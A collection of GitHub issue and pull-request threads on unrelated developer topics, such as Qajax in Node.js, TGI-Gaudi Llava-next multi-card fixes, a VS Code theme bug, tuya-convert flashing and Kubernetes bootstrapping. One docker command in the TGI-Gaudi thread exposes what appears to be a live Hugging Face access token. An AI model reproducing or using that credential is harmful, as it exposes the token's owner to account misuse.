The code now references window and assumes the XMLHttpRequest object is available globally. This means that the library cannot be used easily inside node.js.
I think it would be possible to provide a different entry point for node js, and add a dependency to, for example, xmlhttprequest, so that we could use the library inside node also.
Also, to support using browserify to bundle the library, a different entry point should be provided using the "browser" field, which is supported by browserify/webpack, where the window.XMLHttpRequest object would be used instead.
How does that sound? Should I create a pull request?

Fixed in Qajax 1.0.0

From Node.js:
 require("qajax")("http://google.fr/").then(function(res){ console.log(res.responseText); }).done()

<meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE>

301 Moved

The document has moved
here.


Store instance hostname information

Add hostname storing FQDN to instances table.

Related to #166.

This one was fixed in all existing worker operation classes.


push: log the image's canonical reference

Log a canonical reference to the image that we push.  The buildah library will stop writing this message directly to stdout on its own starting with https://github.com/containers/buildah/pull/1596.

The messages before and after:
Successfully pushed //image-registry.openshift-image-registry.svc:5000/default/mydockertest:latest@sha256:48de4e39a144c768a7b60212fcb82a117c41f49b26f8fbe2a2d6cbd5c9f81040

Successfully pushed image-registry.openshift-image-registry.svc:5000/default/mydockertest@sha256:48de4e39a144c768a7b60212fcb82a117c41f49b26f8fbe2a2d6cbd5c9f81040

The patch currently drops the tag portion of the name that we're pushing, but we can add it back if it's useful to continue having it there.

@nalind I'd prefer to keep the tag name in. That lets me as a user know that the image was pushed to the right repo with the correct tag.

Stopped stripping the tag from the pushed reference.


Clean deprectaed, serializer, etc - leave only inspector code.

Hi Vexe! I have been using vfw for a few years in my engine, mostly for the inspector goodies, Im about to start working on a new project, and im thinking what would it take to clean all deprecated and old serializer code and leave only inspector related stuff.
Do you think its feasible? Thanks, rodo

Hey there! IIRC, all the deprecated stuff in "VFW Deprecated" you should be able to just delete with no issues whatsoever. Did you get any errors when doing so?

Hi! Sorry for the delay. IIRC fastsave was giving me problem, but I will start a new project soon and test it out. Thank you!


The content of the terminal is not visible

Describe the bug
It turns out that when you put a personalized wallpaper the content of the terminal is not seen, in other words, what is written in the terminal is not seen, but you can continue interacting with the terminal.
To Reproduce
1.Put a custom wallpaper.
2.Open the terminal.
Expected Behavior
The terminal should show up as normal.
Environment
The content of the terminal cannot be seen.
It should contain:
Versión: 1.72.0 (system setup)
Commit: 64bbfbf67ada9953918d72e1df2f4d8e537d340e
Electrón: 19.0.17
Chromium: 102.0.5005.167
Node.js: 16.14.2
V8: <IP_ADDRESS>-electron.0
OS: Windows_NT x64 10.0.19044
In isolated space: No
Screenshots

Version: 1.72.0
Commit: 64bbfbf67ada9953918d72e1df2f4d8e537d340e
Date: 2022-10-04T23:19:55.212Z
Electron: 19.0.17
Chromium: 102.0.5005.167
Node.js: 16.14.2
V8: <IP_ADDRESS>-electron.0
OS: Darwin arm64 21.6.0
Sandboxed: No

I am unable to reproduce.

Does this only happen with custom assets? (you showed the bundled assets working)
Have you tried other images?
Does the terminal text show up if you use one of my color schemes (https://github.com/doki-theme/doki-theme-vscode/issues/175#issuecomment-1262073499)

I'll try maybe this weekend to look on my windows machine, to see if I cannot reproduce.

Thanks for the recommendations, turns out I wasn't using an image with transparency, it always happens with all images without transparency.

Do Opacity and Transparancy diffrent?

@KeidsID They represent the same concept.
Opacity: More opacity, the less you can see through it.
Transparency: More transparency, the more you can see through it.

I am having this same issue , I have use transparent Image , still same issue


filtering the report

Hi
I know this is not the appropriate place to ask for this help but it will be very much appreciated if you are able to help.
Basically, this docker implementation is really beautiful . I have implemented it and it works in my pipeline and writes the report to a json file . However because of how big the file is, splunk is not able to index the entire lines of the file. Is there a way to run the lighthouse command such that the output it filtered..meaning to specify the components of the report that we need e.g SEO, Performance . I know this is possible in the browser but not sure about the command line. Thanks for your help

You can change some configuration by passing parameters after your site URL (https://github.com/GoogleChrome/lighthouse#cli-options).
You can also create your own configuration file using this syntax : https://github.com/GoogleChrome/lighthouse/blob/master/docs/configuration.md
and adding it with a similar command to
docker run --rm --name lighthouse -it -v /path/to/your/report:/home/chrome/reports -v $PWD:config.js:/config/config.js --cap-add=SYS_ADMIN femtopixel/google-lighthouse <your_site_url> --config-path=/config/config.js


Keras code added

Hi, this is redundant with PR #4  (also based on the implementation that I had sent you via private communication), so I'll be closing this.


Internal site navigation

Design System Developer Essentials  - Info about course
Career Careening FEDcast - (replaces w3 site) - info about upcoming show - show archives
FEDucation - list of sessions and links to recordings
Local branches - what are they - info about each one
Mentorship - be a mentor - find a mentor
Opportunity Marketplace - place where devs can go to look for internal openings

Decided to make everything external. Closing


Command Block Types for the Operators tab

I noticed the Operators tab doesn't have any command (normal) type blocks. Here's an idea:

Now obviously it'd be a dropdown menu and not 2 separate blocks.
Kind of a dumb suggestion but I feel like the Operators tab deserves 1 command type block at least, even the sensing tab has some.
Also with this you could probably include a bool or reporter that says whether its in radians or degrees mode or not.

honestly not a bad idea, gonna add this one to the trello


Button color

Description
I can see the color of the buttons is not the same on every web page. Some buttons have hover effect. Text is not visible while hovering.
I'm thinking of making buttons more appealing with the web theme.
Type of Contribution
Enhancement
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of this project.

Shall I start working on this issue? @Suvraneel

@sethu400  Yes sure

Hi, Assign this issue to me.

@sethu400  Unassigning after 26 days gap
@rharshit82  Go ahead

if still this remains I want to work on this issue can you please assign it to me.

@nik132-eng  Sure, go ahead

Can I work on this??

Sorry @Suvraneel  for disappointing you I don't even know how to install it on a local device. I have to learn moralis first so can I get some time for that??

@nik132-eng Nope you don't need to learn anything for that...
No installation in reqd... Just clone the project & npm i...
Also install MetaMask wallet as browser extension for best usage (Altho not compulsory for your UI issues)

@navyasharma0203  Since @nik132-eng  is already working on this, that wont be fair...
You can make your own issues & work on them once assigned.
The issues can be trivial or complex... Whatever you feel the website needs improvement in

ok sir I will do it 👍


Only Apply the TP in language_model

What does this PR do?
Fix the llava-next crash with multi-cards.
Depend on:
https://github.com/huggingface/optimum-habana/pull/1309

Fixes # (issue)
Before submitting

[ ] This PR fixes a typo or improves the docs (you can dismiss the other checks if that's the case).
[ ] Did you read the contributor guideline,
Pull Request section?
[ ] Was this discussed/approved via a Github issue or the forum? Please add a link
to it if that's the case.
[ ] Did you make sure to update the documentation with your changes? Here are the
documentation guidelines, and
here are tips on formatting docstrings.
[ ] Did you write any new necessary tests?

Who can review?
Anyone in the community is free to review the PR once the tests have passed. Feel free to tag
members/contributors who may be interested in your PR.

@mandy-li @tthakkal Please review.

@yuanwu2017 the problem is on habana-main branch we don't use OH main to build, we use specific OH release. Not sure how we should merge this change @mandy-li.

@yuanwu2017 the problem is on habana-main branch we don't use OH main to build, we use specific OH release. Not sure how we should merge this change @mandy-li.

I can do a patch release of Optimum Habana if you need this now.

@regisss , patch release would be great. @yuanwu2017 , what other PRs you want to include patch release? https://github.com/huggingface/tgi-gaudi/pull/217 ?
if we have a patch release, @yuanwu2017 , please modify README to remove the limitation of Llava-next can only work on 1x card and also add multi-cards config to the tested model config table

@regisss , patch release would be great. @yuanwu2017 , what other PRs you want to include patch release? #217 ?
if we have a patch release, @yuanwu2017 , please modify README to remove the limitation of Llava-next can only work on 1x card and also add multi-cards config to the tested model config table

@regisss Please include OH commit https://github.com/huggingface/optimum-habana/commit/7e4d7f1b3ef8dfbe2847a79cdb51a4fb670d9e18 in OH patch release and also include TGI PR https://github.com/huggingface/tgi-gaudi/pull/220

@regisss , patch release would be great. @yuanwu2017 , what other PRs you want to include patch release? #217 ?
Don't include 217. the 217 depends on https://github.com/huggingface/optimum/pull/2003.
if we have a patch release, @yuanwu2017 , please modify README to remove the limitation of Llava-next can only work on 1x card and also add multi-cards config to the tested model config table
Ok.

@yuanwu2017 I tried your PR with below docker command (bf16). I also tried fp8 and fails with same error during warmup:
docker run -it --rm -p 8085:80 --runtime=habana -v /sys/kernel/debug:/sys/kernel/debug -v /tmp:/tmp -e HUGGING_FACE_HUB_TOKEN=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   -e HABANA_VISIBLE_DEVICES=0,1 -e PT_HPU_RECIPE_CACHE_CONFIG=/root/data2/tgi_cache/tgi-llava_v1_6/mistral_cache,false,8192 -e DBG_TRACE_FILENAME=/root/data2/tgi_cache/tgi-llava_v1_6/llava_v1_6_logfile.log -e OMPI_MCA_btl_vader_single_copy_mechanism=none -e ENABLE_HPU_GRAPH=true -e LIMIT_HPU_GRAPH=true -e USE_FLASH_ATTENTION=true -e FLASH_ATTENTION_RECOMPUTE=true -e PREFILL_BATCH_BUCKET_SIZE=1 -e BATCH_BUCKET_SIZE=1 --cap-add=sys_nice  --ipc=host --name llava_pr219 tgi_gaudi_hsc_pr219_pr220:latest --model-id llava-hf/llava-v1.6-mistral-7b-hf --sharded true --num-shard 2 --max-input-tokens 4096 --max-batch-prefill-tokens 16384 --max-total-tokens 8192 --max-batch-total-tokens 32768
and it fails with below error:
2024-09-05T02:13:33.896967Z  INFO text_generation_router: router/src/main.rs:516: Serving revision 216670a16460adb7c41ce3e123ceb3859f73ab12 of model llava-hf/llava-v1.6-mistral-7b-hf
2024-09-05T02:13:33.936579Z  WARN tokenizers::tokenizer::serialization: /usr/local/cargo/registry/src/index.crates.io-6f17d22bba15001f/tokenizers-0.19.1/src/tokenizer/serialization.rs:159: Warning: Token '<image>' was expected to have ID '32000' but was given ID 'None'
2024-09-05T02:13:33.936589Z  WARN tokenizers::tokenizer::serialization: /usr/local/cargo/registry/src/index.crates.io-6f17d22bba15001f/tokenizers-0.19.1/src/tokenizer/serialization.rs:159: Warning: Token '<pad>' was expected to have ID '32001' but was given ID 'None'
2024-09-05T02:13:33.936735Z  INFO text_generation_router: router/src/main.rs:317: Using config Some(LlavaNext(LlavaNext { text_config: TextConfig, vision_config: VisionConfig { image_size: 336, patch_size: 14 }, image_grid_pinpoints: [(336, 672), (672, 336), (672, 672), (1008, 336), (336, 1008)] }))
2024-09-05T02:13:33.941632Z  INFO text_generation_router: router/src/main.rs:345: Warming up model
2024-09-05T02:13:46.022225Z ERROR warmup{max_input_length=4096 max_prefill_tokens=16384 max_total_tokens=8192 max_batch_size=Some(4) model_id="llava-hf/llava-v1.6-mistral-7b-hf"}:warmup: text_generation_client: router/client/src/lib.rs:33: Server error: CANCELLED
2024-09-05T02:13:46.486976Z ERROR warmup{max_input_length=4096 max_prefill_tokens=16384 max_total_tokens=8192 max_batch_size=Some(4) model_id="llava-hf/llava-v1.6-mistral-7b-hf"}:warmup: text_generation_client: router/client/src/lib.rs:33: Server error: CANCELLED
Error: Warmup(Generation("CANCELLED"))
2024-09-05T02:13:46.514321Z ERROR text_generation_launcher: Webserver Crashed
2024-09-05T02:13:46.514337Z  INFO text_generation_launcher: Shutting down shards
2024-09-05T02:13:46.601775Z  INFO shard-manager: text_generation_launcher: Terminating shard rank=0
2024-09-05T02:13:46.601799Z  INFO shard-manager: text_generation_launcher: Waiting for shard to gracefully shutdown rank=0
2024-09-05T02:14:18.027719Z  INFO shard-manager: text_generation_launcher: shard terminated rank=0
Error: WebserverFailed

Run docker contianer:
docker run -it -p 8083:80 \
   --runtime=habana \
   -v $volume:/data \
   -v ~/workspace:/workspace \
   -e HABANA_VISIBLE_DEVICES=6,7 \
   -e HUGGING_FACE_HUB_TOKEN=$hf_token \
   -e OMPI_MCA_btl_vader_single_copy_mechanism=none \
   -e TEXT_GENERATION_SERVER_IGNORE_EOS_TOKEN=true \
   -e PT_HPU_ENABLE_LAZY_COLLECTIVES=true \
   -e http_proxy=${http_proxy}     -e https_proxy=${https_proxy} -e no_proxy=${no_proxy} \
   -e PAD_SEQUENCE_TO_MULTIPLE_OF=256 \
   -e ENABLE_HPU_GRAPH=true \
   -e LIMIT_HPU_GRAPH=true \
   -e USE_FLASH_ATTENTION=true \
   -e FLASH_ATTENTION_RECOMPUTE=true \
   --cap-add=sys_nice \
   --ipc=host \
   tgi-yuanwu:1.17

Enter container and build latest optimum-habana:
cd optimum-habana
pip install -e .

Run tgi-server FP8:
export MODEL_ID=llava-hf/llava-v1.6-mistral-7b-hf
export DBG_TRACE_FILENAME=./dbg_trace.log
rm dbg_trace.log
export LOG_LEVEL=trace
text-generation-launcher --model-id $MODEL_ID --max-input-tokens 4096 --max-total-tokens 8192 --max-batch-prefill-tokens 8192 --sharded true --num-shard 2

Run tgi-server BF16:
export MODEL_ID=llava-hf/llava-v1.6-mistral-7b-hf
export DBG_TRACE_FILENAME=./dbg_trace.log
rm dbg_trace.log
export LOG_LEVEL=trace
export USE_FLASH_ATTENTION=false
export FLASH_ATTENTION_RECOMPUTE=false
text-generation-launcher --model-id $MODEL_ID --max-input-tokens 4096 --max-total-tokens 8192 --max-batch-prefill-tokens 8192 --sharded true --num-shard 2

Looks like we missed adding PT_HPU_ENABLE_LAZY_COLLECTIVES=true, tested bf16 2 cards. it works as expected. Thanks

-e PT_HPU_ENABLE_LAZY_COLLECTIVES=true \

For FP8 multi-cards, I made a patch  to generate the quantization files.
 QUANT_CONFIG=./quantization_config/maxabs_measure.json python ../gaudi_spawn.py --world_size 2 --use_deepspeed run_pipeline.py --model_name_or_path llava-hf/llava-v1.6-mistral-7b-hf --image_path "https://llava-vl.github.io/static/images/view.jpg" --use_hpu_graphs --bf16 --use_flash_attention --flash_attention_recompute
But I got a error, when running the 2-cards inference with FP8.

So I can:

Do a ptch release of Optimum Habana with https://github.com/huggingface/optimum-habana/pull/1309 and https://github.com/huggingface/optimum-habana/pull/1278
Then, we can merge this PR and https://github.com/huggingface/tgi-gaudi/pull/220, and do a new release of TGI with updated Optimum Habana dependency

Does that sound good? Should we wait for the AutoGPTQ PRs?

So I can:

Do a ptch release of Optimum Habana with Add the deepspeed injection_policy of mistral optimum-habana#1309 and Llava: Added flash_attention_recompute arg to provide an option to enable/disable recompute optimum-habana#1278
Then, we can merge this PR and Llava-next: Added flash_attention_recompute  option #220, and do a new release of TGI with updated Optimum Habana dependency

Does that sound good? Should we wait for the AutoGPTQ PRs?
We can merge https://github.com/huggingface/tgi-gaudi/pull/217. It doesn't affect non-GPTQ model. When the optimum patch is merged, and new optimum is released, I will update the documents.

For this patch, we can merge firstly. Because the BF16 is ok. I will go on debugging the FP8 issue. @tthakkal @mandy-li @regisss  Do you think this is okay?

For this patch, we can merge firstly. Because the BF16 is ok. I will go on debugging the FP8 issue. @tthakkal @mandy-li @regisss Do you think this is okay?

@yuanwu2017 FP8 issue probably related to PR 220. you may need changes in that PR to run FP8.

@yuanwu2017 I tested the model for fp8 run with 8x cards. I was able to run it. I have created my tgi image with both PR-219 and PR-220 and built using latest optimum-habana main branch. The quantization file was also generated in optimum-habana based on latest i.e main branch.
Used below command for fp8 and it works well.
docker run -it --rm -p 8085:80
--runtime=habana
-v /sys/kernel/debug:/sys/kernel/debug
-v /tmp:/tmp
-e HUGGING_FACE_HUB_TOKEN=your_token
-v /home_local/labuser/tf/all_hqt_config/hqt_output_llava_v1_6_mistral_7b_v17_495_pr219_new/:/root/all_hqt_config/hqt_output_llava_v1_6_mistral_7b_v17_495_pr219_new/
-e QUANT_CONFIG=/root/all_hqt_config/hqt_output_llava_v1_6_mistral_7b_v17_495_pr219_new/maxabs_quant.json
-e PT_HPU_ENABLE_LAZY_COLLECTIVES=true
-e HABANA_VISIBLE_DEVICES=all
-e OMPI_MCA_btl_vader_single_copy_mechanism=none
-e ENABLE_HPU_GRAPH=true
-e LIMIT_HPU_GRAPH=true
-e USE_FLASH_ATTENTION=true
-e FLASH_ATTENTION_RECOMPUTE=true
-e PREFILL_BATCH_BUCKET_SIZE=1
-e BATCH_BUCKET_SIZE=1
--cap-add=sys_nice
--ipc=host
--name llava_pr219 tgi_gaudi_hsc_pr219_pr220:latest
--model-id llava-hf/llava-v1.6-mistral-7b-hf
--sharded true --num-shard 8
--max-input-tokens 4096 --max-batch-prefill-tokens 16384 --max-total-tokens 8192 --max-batch-total-tokens 32768

👍 The PR220 should fix the error.

发件人: Harshvardhan Chauhan @.>
发送时间: Friday, September 6, 2024 1:15:54 AM
收件人: huggingface/tgi-gaudi @.>
抄送: Wu, Yuan @.>; Mention @.>
主题: Re: [huggingface/tgi-gaudi] Only Apply the TP in language_model (PR #219)
@yuanwu2017https://github.com/yuanwu2017 I tested the model for fp8 run with 8x cards. I was able to run it. I have created my tgi image with both PR-219 and PR-220 and built using latest optimum-habana main branch. The quantization file was also generated in optimum-habana based on latest i.e main branch.
Used below command for fp8 and it works well.
docker run -it --rm -p 8085:80
--runtime=habana
-v /sys/kernel/debug:/sys/kernel/debug
-v /tmp:/tmp
-e HUGGING_FACE_HUB_TOKEN=your_token
-v /home_local/labuser/tf/all_hqt_config/hqt_output_llava_v1_6_mistral_7b_v17_495_pr219_new/:/root/all_hqt_config/hqt_output_llava_v1_6_mistral_7b_v17_495_pr219_new/
-e QUANT_CONFIG=/root/all_hqt_config/hqt_output_llava_v1_6_mistral_7b_v17_495_pr219_new/maxabs_quant.json
-e PT_HPU_ENABLE_LAZY_COLLECTIVES=true
-e HABANA_VISIBLE_DEVICES=all
-e OMPI_MCA_btl_vader_single_copy_mechanism=none
-e ENABLE_HPU_GRAPH=true
-e LIMIT_HPU_GRAPH=true
-e USE_FLASH_ATTENTION=true
-e FLASH_ATTENTION_RECOMPUTE=true
-e PREFILL_BATCH_BUCKET_SIZE=1
-e BATCH_BUCKET_SIZE=1
--cap-add=sys_nice
--ipc=host
--name llava_pr219 tgi_gaudi_hsc_pr219_pr220:latest
--model-id llava-hf/llava-v1.6-mistral-7b-hf
--sharded true --num-shard 8
--max-input-tokens 4096 --max-batch-prefill-tokens 16384 --max-total-tokens 8192 --max-batch-total-tokens 32768
—
Reply to this email directly, view it on GitHubhttps://github.com/huggingface/tgi-gaudi/pull/219#issuecomment-2332253092, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AIIJ2KIM3IH7WXQHA2IR35TZVCGUVAVCNFSM6AAAAABNTZDV36VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMZSGI2TGMBZGI.
You are receiving this because you were mentioned.Message ID: @.***>

Waiting for @libinta to do the patch release in case there are other commits that should be included.


File Problems

So, I have a Code Runner, which works fine(it is used to run stuff easier) and I am trying to run a simple command using lua. I am trying to run print("Hello World") but everytime I try to run it, I get this
"[Running] lua "c:\Users(My Name)\Documents\VisualCodeLua\Test.Lua"
'lua' is not recognized as an internal or external command,
operable program or batch file.
[Done] exited with code=1 in 0.039 seconds"
Please Help

Please ask 'how-to' questions about VS Code on Stack Overflow using the tag vscode.
The VS Code development team together with the VS Code Community will answer question your question over there.
Here is how the development team tracks feedback on the different channels: Feedback Channels.


Possible to have a lifetime in owner?

I have the following situation:
enum Thingy<'a, F: Fingerprint> {
    Ref(&'a F),
    Partial(ThingPart<'a, F>)
}

impl<'a, F: Fingerprint> Fingerprint for Thingy<'a, F> {}

struct Intermediary<'a, F: Fingerprint>(Vec<Thingy<'a, F>>)

struct Leaf<'a, F: Fingerprint> {
    items: &'a [F],
    expensive: ComputedThing
}

impl<'a, F: Fingerprint> TryFrom<&'a [F]> for Leaf<'a, F> {}

Is there a way to make a self_cell containing Intermediary<'a, F> as the owner and Leaf<'_, Thingy<'a, F>> as the borrower? I'm fairly sure the macro can't do it today, but I'm less sure if there's a fundamental reason this can't work, if it's possible and outside the crate's capabilities, or if the crate can do it and I just don't know how to ask for it.

Requiring the owner to have a static lifetime was deliberate choice. I'm worried allowing lifetimes will allow unsound usage. Let me think about this some more.

Note, the resulting struct would have to have the lifetime of Intermediary<'a, you can only erase the lifetime of the dependent.

@Voultapher yes, that's what I'm hoping for here.

I'm hoping to get some additional input about this question here https://users.rust-lang.org/t/can-chaining-self-referential-structs-be-done-soundly/61294

I just released a new version with limited support for this feature https://github.com/Voultapher/self_cell/releases/tag/v0.9.1. Please let me know if this addresses your issue.

Thanks for adding this! I see the release note, but can't find the mentioned documentation on GH or on docs.rs - is there somewhere I'm missing?

It's documented on docs.rs see the paragraph starting with 'There is limited nested cell support.' https://docs.rs/self_cell/0.9.1/self_cell/macro.self_cell.html

@TedDriggs friendly ping. In the absence of feedback I will close this issue a week from now.


WPF - bind MenuItem Command to ICommand property?

What would you like to be added:
I am probably doing something wrong but, using TaskbarIcon from H.NotifyIcon.Wpf, I would like to ha a MenuItem Command binding to a IRelayCommand (from CommunityToolkit.Mvvm.Input) property of the encompassing window, i.e.:
MainWindow.xaml :
<Window x:Class="MyProject.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
        xmlns:local="clr-namespace:MyProject"
        xmlns:tb="clr-namespace:H.NotifyIcon;assembly=H.NotifyIcon.Wpf"
        mc:Ignorable="d"
        Title="My Project" Height="450" Width="800"
        ShowInTaskbar="False">

    <Grid>
        <tb:TaskbarIcon
        ToolTipText="DANSIM Cluster Client"
            IconSource="/Images/dscc.ico"
        MenuActivation="LeftOrRightClick"
        PopupActivation="DoubleClick">
            <tb:TaskbarIcon.ContextMenu>
                <ContextMenu>
                    <TextBlock Text="Special commands" />

                    <MenuItem
                        Header="_Quit"
                        Command="{Binding QuitCommand, RelativeSource={RelativeSource AncestorType=Window}}">
                    </MenuItem>
                </ContextMenu>
            </tb:TaskbarIcon.ContextMenu>
        </tb:TaskbarIcon>
    </Grid>
</Window>

MainWindow.xaml.cs:
using CommunityToolkit.Mvvm.Input;
using Serilog;
using System;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Runtime.CompilerServices;
using System.Windows;
using System.Windows.Forms;

namespace MyProject
{
public partial class MainWindow : Window
    {        public IRelayCommand QuitCommand { get; set; }

        public MainWindow()
        {
            Log.Logger = new LoggerConfiguration()
						//.WriteTo.RichTextBox(LogTextBox)
						.WriteTo.Console()
						.WriteTo.File("log.txt", rollingInterval: RollingInterval.Day)
						.CreateLogger();
            Log.Information("Starting MyProject");
            ShowLogWindowCommand = new RelayCommand(ShowLogWindow);
            QuitCommand = new RelayCommand(Quit);

            InitializeComponent();
            }
        }

        private void OnClicked(object? sender, MouseEventArgs e)
        {
            App.Current.MainWindow.Show();
        }

        private void Quit(object? sender, EventArgs e)
        {
            Log.Information("Closing app");
            this.Close();
        }
    }
}

Why is this needed:
To aid in mvvm scenarios
For which Platform:

[x ] WPF

Anything else we need to know?

You need to specify the DataContext for Window({Binding RelativeSource={RelativeSource Self}}) or TaskbarIcon({Binding RelativeSource={RelativeSource AncestorType=Window}}).
The reason the current code doesn't work is because the ContextMenu doesn't belong to the window's visual tree as far as I know. Therefore, it does not have access to Window. But it will inherit DataContext from TaskbarIcon, because this case is taken into account in the library.


Loratap SC500WSC-V2: Device did not appear with the intermediate firmware

Hello,
I tried several times to flash SC500WSC-V2 OTA with tyua-convert.
tuya-convert itself is working fine on my Raspi, I flashed succesfully other devices.
But for SC500WSC-V2 I got the message that the device did not appear. The device was blinking quickly in pairing mode and changed the blinking frequence once the flash program connected via VTRUST.
To check if the correct chip is inside the device I checked the device agains https://templates.blakadder.com/loratap_SC500W.html . It has the right chip onboard.
smarthack-mqtt.log
smarthack-psk.log
smarthack-udp.log
smarthack-web.log
smarthack-wifi.log

The connection of the device is shown in wifi log.
Any idea if flashing OTA is possible with this device?
Cheers,
Kay

Unfortunately it looks like you have a patched firmware that is not compatible.
Follow #483 for more information and hopefully an eventual resolution.

Will monitor 483 - if there is any solution


bootstraping one of the controller gone bad

I generated the admin.kubeconfig file and sent it in the "for" loop to all of the containers.
But now I have this type of problems
root@controller-2:~# kubectl get componentstatuses --kubeconfig admin.kubeconfig
The connection to the server <IP_ADDRESS>:6443 was refused - did you specify the right host or port?
root@controller-2:~# curl -H "Host: kubernetes.default.svc.cluster.local" -i http://<IP_ADDRESS>/healthz
HTTP/1.1 502 Bad Gateway
Server: nginx/1.14.0 (Ubuntu)
Date: Fri, 17 Aug 2018 01:59:05 GMT
Content-Type: text/html
Content-Length: 182
Connection: keep-alive

<title>502 Bad Gateway</title>

502 Bad Gateway

nginx/1.14.0 (Ubuntu)

Seems like my credentials are not loaded

I'm having the same issue. Did you resolve this?

please check 6443 port wetther enabled or not , means like create rule with port number 6443 source <IP_ADDRESS>/0 , the add to controllers vm's, then check

I am having the same issue. I am a use user to this tutorial. how do one fix this issue?

Very strange because I have all my ETCD members up and running
3a57933972cb5131, started, controller-2, https://<IP_ADDRESS>:2380, https://<IP_ADDRESS>:2379
f98dc20bce6225a0, started, controller-0, https://<IP_ADDRESS>:2380, https://<IP_ADDRESS>:2379
ffed16798470cab5, started, controller-1, https://<IP_ADDRESS>:2380, https://<IP_ADDRESS>:2379

I reload all the installation, because I suspect something in the PEMs controller files.

Take a look at these files /var/log/kube-apiserver.log , /var/log/kube-scheduler.log , /var/log/kube-controller-manager.log on your controller

Thank you L. Marco P.
I will take a look.
Andy Wang
On Fri, Sep 28, 2018 at 6:03 PM L. Marco P<EMAIL_ADDRESS>wrote:

Very strange because I have all my ETCD members up and running
3a57933972cb5131, started, controller-2, https://<IP_ADDRESS>:2380, https://<IP_ADDRESS>:2379
f98dc20bce6225a0, started, controller-0, https://<IP_ADDRESS>:2380, https://<IP_ADDRESS>:2379
ffed16798470cab5, started, controller-1, https://<IP_ADDRESS>:2380, https://<IP_ADDRESS>:2379
I reload all the installation, because I suspect something in the PEMs
controller files.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/kelseyhightower/kubernetes-the-hard-way/issues/379#issuecomment-425578472,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ASTyqdMuYGEIvpDPIaA2x7cPXAU4kXylks5ufpyigaJpZM4WA2eL
.

--
Privacy Statement: This e-mail, including any attachments, may include
confidential and/or proprietary information, and may be used only by the
person or entity to which it is addressed. If the reader of this e-mail is
not the intended recipient of his/her authorized agent, the reader is
hereby notified that any dissemination, distribution, or copying of this
e-mail is prohibited. If you have received this e-mail in error, please
reply to the sender and delete/shred it immediately.

Ensure the nginx proxy is  running to ensure the health checks pass.

Anyone found a solution for this? I am having the same issue

Same issue here at Bootstrapping the Kubernetes Control Plane: Verification step.


feat(bench): throughput benchmarks

We want to measure the throughput of different sockets in localhost to track possible improvements and changes over time.
In terms of libraries that we can use, we should look into:

Divan
Criterion

As part of this issue, we should make a throughput benchmark for the existing socket types and make the process of adding a new benchmark as simple as possible for the future.

Interested in taking this!

@PatStiles Thanks! Go for it! We would like to try out Divan if possible.
Here for any questions if needed :)

Hi @PatStiles have you had any luck with this?

Pubsub benchmarks with Divan are implemented in #9. @PatStiles feel free to do the same for the reqrep benchmarks!

Apologies guys I lost track of time the last two weeks. On it now. Appreciate any feedback you send my way!